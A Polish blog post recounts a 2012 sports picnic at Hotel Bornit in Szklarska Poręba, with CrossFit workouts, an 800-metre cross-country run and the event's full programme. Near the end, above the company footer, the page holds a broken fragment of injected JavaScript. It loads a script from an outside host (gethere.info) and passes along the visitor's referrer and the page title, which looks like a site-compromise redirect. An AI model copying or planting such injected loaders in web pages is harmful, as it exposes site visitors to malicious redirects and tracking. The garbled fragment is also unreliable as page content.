Crossfit-fizjologiczne piekło :)- sportowy piknik

3.10.2012 / Mariusz Cieśliński

Crossfit Szklarska Poręba,Hotel Bornit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

W sobotę odbył się piknik sportowy w Szklarskiej Porębie.Skorzystałem ze wszystkich warsztatów sportowych.Dzień był ciężki ale bardzo szybko minął na ciężkiej ekstremalnie pracy.

Moim zawodnikom zafundowałem debiut na CROSSFIT.Jeden z nich zrobił 5(!) workout’ów.Do dziś się ledwie rusza :).

Widać,że dla debiutantów był to tytaniczny wysiłek.

Żeby podkręcić adrenalinę wszyscy uczestniczyliśmy pod okiem lekkoatletów (biegaczy) w biegu przełajowym na 800 metrów na trasie przez nich wcześniej wytyczonej.Trasa ciężka,ponad połowa dystansu pod górę,kręta i wbrew pozorom dosyć niebezpieczna-można był przy braku uwagi wylecieć poza trasę na zbiegu :).Biegi były indywidualne i na czas.Udało mi się zrobić najlepszy czas dnia o 30 sekund lepszy od następnego.Ale nie było to brane pod uwagę do klasyfikacji generalnej-byłem jednym z organizatorów :)

Świetnie przygotowana imreza,posiłki dla wszystkich uczestników.Nagrody w postaci vouczerów na weekendowy pobyt w SPA Hotelu Bornit-który gościł uczestników pikniku sportowego.

Fotki są poniżej i filmik z imprezy  jest linku na początku mojego wpisu.

Następny dzień to pełne lenistwo ale dopiero jak z rodzinką się udaliśmy w góry i skorzystaliśmy ze słoneczka.

 

Poniżej oficjalny program imprezy:

Głównym celem organizowanej przez INTERFERIE imprezy jest zaproszenie do wzięcia udziału w zawodach z cyklu imprez

w sezonie 2012/2013.

• Triathlon

• Biegi przełajowe i biegi górskie

• Górskie BIKE MARATONY

•Narty

• CrossFit

• Pływanie

W ramach cyklu proponujemy:

1. Organizację cyklu zawodów 2012/2013

2. Przygotowanie do zawodów (zgrupowania przygotowujące do sezonu i roztrenowanie), rehabilitacja na zakończenie sezonu letniego (jesień)

3. Warsztaty Mistrzów Sportu i konsultacje lekarskie

4. Odnowa biologiczna

PROGRAM PIKNIKU:

10.00-10.30 Przyjazd uczestników

10.00-10.30 Otwarcie pikniku – przekazanie informacji dotyczącej imprezy 10.00-10.30 przedstawienie Mistrzów i idei Sportowego Pikniku oraz dyscyplin CROSSFIT, TRIATHLON, MTB

10.30-15.00 Ćwiczenia na ścieżce Mistrza – próby na czas na ścieżce ustawionej przez Mariusza Cieślińskiego Mariusz Cieśliński – wielokrotny Mistrz Świata w Boksie Tajskim, Kickboxingu, trener Kadry reprezentantów Polski w różnych dyscyplinach, specjalista od budowy wytrzymałości i siły fizycznej, opiekun Kadry Narodowej Żużlowców przedstawia Państwu filozofię CROSSFITU i korzyści z tego płynące

15.00-15.30 Dla śmiałków oficjalny trening pod okiem Mistrza Mariusz Cieslińskiego

10.30-16.30 Prezentacja profesjonalnego systemu treningowego Reebok CrossFit Fitness

• Treningi dla najtwardszych i najbardziej wytrzymałych max 15 osobowych TEAMÓW ( czas treningu 1 godzina) w Strefie DROP BOX

• Trenerzy, instruktorzy Reebok CrossFit Fitness pokażą co to jest DROP BOX

12.00-14.00 Testowy przejazd po crossowej trasie rowerowej HUTA – JAKUSZYCE – HUTA Z instruktorem MTB (ok. 15 km podjazd i zjazd)

14.00-16.00 Testowy przejazd po crossowej trasie rowerowej HUTA – JAKUSZYCE – HUTA Z instruktorem MTB (ok. 15 km podjazd i zjazd)

10.30-11.00 Bieg z Mistrzem – Bieg crossowy na trasie ustawionej przez Łukasza Grassa z Polskiej Akademii Triathlonu, dziennikarza TVN, Radio Tok FM pod fachową opieką Mistrza Polski w Biegach Górskich Dariusza Kruczkowskiego

11.00-16.00 Bieg crossowy na czas na trasie ustawionej przez Łukasza Grassa z Polskiej Akademii Triathlonu, dziennikarza TVN, Radio Tok

16.00-17.00 Jak żyć zdrowo na sportowo – „Centrum Zdrowego Mężczyzny”, sport a zdrowie. Konsultacje, pytania, prezentacje.

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

Facebook YouTube Instagram
© 2001-2014 Trec Nutrition sp. z o.o. 81-127 Gdynia, ul.Śmidowicza 48. Spółka wpisana do rejestru przedsiębiorców w Sądzie Rejonowym dla Gdańska-Północ, VIII
Wydział Gospodarczy Krajowego Rejestru Sądowego KRS nr: 0000315748 NIP: 958-160-24-54, REGON: 220696468, kapitał zakładowy: 50.000 zl